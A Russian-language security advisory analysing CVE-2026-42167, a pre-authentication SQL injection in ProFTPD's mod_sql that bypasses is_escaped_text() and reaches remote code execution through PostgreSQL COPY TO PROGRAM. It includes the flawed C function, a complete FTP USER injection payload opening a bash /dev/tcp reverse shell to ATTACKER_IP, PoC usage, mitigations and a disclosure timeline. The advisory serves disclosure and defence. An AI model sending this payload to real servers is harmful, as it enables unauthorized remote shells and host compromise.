
Предварительная аутентификация RCE в ProFTPD через обход is_escaped_text() в mod_sql (CVE-2026-42167)
mod_sqlАвтор: Van Glenndon Enad
Первоначальное обнаружение: ZeroPath
Опубликовано: 1 мая 2026 г.
Критичность: Критическая
Оценка CVSS v3.1: 8.1
Вектор CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Оценка CVSS v2: 7.6
Вектор CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL-инъекция), CWE-78 (инъекция OS-команд)
CVE-2026-42167 — это критическая SQL-инъекция до аутентификации в модуле расширения mod_sql ProFTPD. Логическая ошибка в функции is_escaped_text() позволяет неаутентифицированному злоумышленнику обойти экранирование SQL-символов, создав команду USER, значение которой удовлетворяет ошибочной эвристике «уже экранировано». Внедренный SQL передается напрямую в серверную базу данных через PQexec(), который поддерживает составные запросы.
Когда роль базы данных ProFTPD является суперпользователем PostgreSQL — распространенная ошибка конфигурации в контейнерных развертываниях — инъекция достигает директивы COPY TO PROGRAM PostgreSQL, что приводит к неаутентифицированному удаленному выполнению кода на уровне ОС от имени системного пользователя postgres. Не требуются учетные данные, предварительный доступ или взаимодействие с пользователем.
| Компонент | Версия |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Модуль | mod_sql + mod_sql_postgres |
| Исправленная версия | 1.3.9a (выпущена 27 апреля 2026 г.) |
| Серверная часть | PostgreSQL (RCE); MySQL / SQLite (только обход аутентификации) |
ProFTPD — это широко развертываемый FTP-сервер с открытым исходным кодом. Согласно Shodan, в интернете существует более 160 000 публично доступных экземпляров ProFTPD. Модуль mod_sql обычно включен в панелях управления хостингом, включая cPanel, Plesk, DirectAdmin, Webmin и ISPConfig.
Модуль mod_sql ProFTPD поддерживает аутентификацию и ведение журнала активности на основе SQL. Строки формата журнала могут включать переменные подстановки, такие как %U (имя пользователя), %r (удаленный хост) и %m (команда FTP). Эти переменные раскрываются во время выполнения и вставляются в SQL-запросы, выполняемые против настроенной серверной части.
Типичная уязвимая конфигурация:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
В этой конфигурации значение, указанное в команде FTP USER, подставляется вместо %U и включается непосредственно в SQL-оператор INSERT. Перед вставкой значение передается через is_escaped_text() для определения необходимости экранирования. Эта функция содержит критическую логическую ошибку.
is_escaped_text()Расположенная в contrib/mod_sql.c, функция применяет следующую эвристику для определения того, является ли строка «уже экранированной»:
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Предполагаем, что строка экранирована, если:
* 1. Она начинается с одинарной кавычки
* 2. Она заканчивается одинарной кавычкой
* 3. Она не содержит внутренних одинарных кавычек
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* пропустить экранирование */
}
return FALSE;
}
Когда эта функция возвращает TRUE, sql_resolved_append_text() (строка 777) вставляет необработанное, неэкранированное значение непосредственно в строку запроса. Затем значение выполняется через PQexec() в contrib/mod_sql_postgres.c (строка 1146), который поддерживает составные (многооператорные) запросы.
Эвристика, вероятно, была предназначена для обнаружения строк, которые уже окружены разделителями строк SQL. Однако она не предпринимает никаких попыток проверить безопасность внутреннего содержимого — только то, что дополнительные одинарные кавычки отсутствуют. Это означает, что любая полезная нагрузка, которая:
''$$)...пройдет проверку и будет внедрена дословно в SQL-запрос.
FTP-клиент ProFTPD PostgreSQL
│ │ │
│── USER '<полезная нагрузка>' ──▶ │ │
│ │ раскрыть %U = '<полезная нагрузка>' │
│ │ is_escaped_text() = TRUE│
│ │ пропустить экранирование │
│ │── INSERT INTO activity │
│ │ VALUES ('<полезная нагрузка>', │
│ │ ...) ──────────────▶ │
│ │ │ выполнить составной SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell-команда ──▶ ОС
| Требование | Примечания |
|---|---|
mod_sql включен с SQL-журналированием | Должна регистрироваться переменная до аутентификации, такая как %U |
| Серверная часть PostgreSQL | Требуется для RCE через COPY TO PROGRAM; MySQL/SQLite все еще позволяют обход аутентификации |
| Роль БД является суперпользователем PostgreSQL | COPY TO PROGRAM ограничен суперпользователями или членами pg_execute_server_program |
bash доступен на хосте БД | Требуется для доставки обратной оболочки через /dev/tcp |
| Сетевая доступность | Контейнер PostgreSQL должен иметь возможность связаться со злоумышленником на порту прослушивания |
Условие суперпользователя часто выполняется в контейнерных развертываниях, где пользователь БД ProFTPD создается через POSTGRES_USER=... в официальном Docker-образе PostgreSQL, или когда администратор предоставляет роли ProFTPD владение базой данных.
Шаг 1: Злоумышленник отправляет специально созданную команду USER (до аутентификации, учетные данные не требуются)
│
▼
Шаг 2: ProFTPD раскрывает %U значением, контролируемым злоумышленником
│
▼
Шаг 3: Обход is_escaped_text() — необработанный SQL проходит без экранирования
│
▼
Шаг 4: PQexec() выполняет составной запрос против PostgreSQL
│
▼
Шаг 5: COPY TO PROGRAM выполняет shell-команду злоумышленника от имени OS-пользователя postgres
│
▼
Шаг 6: Обратная оболочка / эксфильтрация файлов доставляется злоумышленнику
Полезная нагрузка инъекции доставляется через команду FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Условие | Выполнено? | Причина |
|---|---|---|
Начинается с ' | ✅ | Первый символ — ' |
Заканчивается на ' | ✅ | Последний символ — ' |
| Нет внутренних одинарных кавычек | ✅ | Внутренние строки используют долларовое кавычение $$ |
| Сегмент | Назначение |
|---|---|
', null, null); | Чисто закрывает исходный оператор INSERT |
COPY (SELECT $$x$$) TO PROGRAM | Составной запрос с использованием COPY TO PROGRAM PostgreSQL |
$$bash -c ...$$ | Shell-команда с использованием долларового кавычения $$ для избежания одинарных кавычек |
; --' | Завершает составной запрос; --' закомментировывает остаток и предоставляет закрывающую ' для обхода |
Предупреждение: Этот PoC предоставлен исключительно в образовательных целях и для авторизованного тестирования. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Пример использования:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| Категория | Описание |
|---|---|
| Конфиденциальность | Полный доступ на чтение к файловой системе от имени OS-пользователя postgres |
| Целостность | Возможность записи файлов, изменения содержимого базы данных, установки бэкдоров |
| Доступность | Возможны сбои в обслуживании, уничтожение данных |
| Аутентификация | Эксплуатируется с нулевыми учетными данными до аутентификации |
| Область действия | Выходит за пределы ProFTPD на нижележащий хост PostgreSQL |
Любая система, где ProFTPD размещен совместно с экземпляром PostgreSQL или имеет к нему доступ суперпользователя, подвержена риску полной компрометации хоста. Горизонтальное перемещение на соседние системы и закрепление через cron-задачи или внедрение SSH-ключей тривиально достижимы после эксплуатации.
is_escaped_text() с надлежащей обработкой параметризованных запросовmod_sql (удалите директивы SQLLog)%U, %r, %m) из определений SQLNamedQueryINSERT в таблицу журнала и SELECT в таблицу аутентификацииUSER, содержащих одинарные кавычки, COPY, PROGRAM или SQL-ключевые слова| Дата | Событие |
|---|---|
| 28 марта 2026 г. | Уязвимость сообщена сопровождающим ProFTPD |
| 7 апреля 2026 г. | Начата проверка исправления |
| 24 апреля 2026 г. | Присвоен CVE-2026-42167 |
| 27 апреля 2026 г. | Исправление зафиксировано; выпущен ProFTPD 1.3.9a |
| 28 апреля 2026 г. | Опубликовано в NVD |
| 28–29 апреля 2026 г. | Публичные PoC-репозитории опубликованы на GitHub |
| 1 мая 2026 г. | Опубликованы независимый анализ и упрощенный PoC |
Правовое предупреждение: Этот анализ и подтверждение концепции опубликованы строго в образовательных, исследовательских целях и для защитной безопасности. Автор не одобряет несанкционированный доступ к компьютерным системам. Всегда получайте явное письменное разрешение перед проведением тестирования безопасности любой системы, которой вы не владеете.